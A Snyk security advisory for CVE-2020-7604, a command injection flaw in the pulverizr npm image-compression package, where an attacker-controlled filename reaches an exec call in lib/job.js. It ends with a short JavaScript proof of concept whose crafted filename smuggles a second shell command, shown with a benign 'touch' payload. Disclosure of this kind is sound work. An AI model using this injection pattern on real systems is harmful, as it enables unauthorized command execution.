Command Injection Affecting pulverizr package, versions *
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-PULVERIZR-560122
- published 13 Mar 2020
- disclosed 13 Mar 2020
- credit JHU System Security Lab
Introduced: 13 Mar 2020
CVE-2020-7604 Open this link in a new tabHow to fix?
There is no fixed version for pulverizr
.
Overview
pulverizr is a to smash your images down to size.
Affected versions of this package are vulnerable to Command Injection. Within lib/job.js
, the variable filename
can be controlled by the attacker. This function uses the variable filename
to construct the argument of the exec call without any sanitization.
In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.
PoC
var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";
var injection_code = ""&" + attack_code + "&"a.jpg"
var inputs = [injection_code]
fs.writeFile(injection_code, "123", function(){});
var job = root.createJob(inputs, {});
job.run();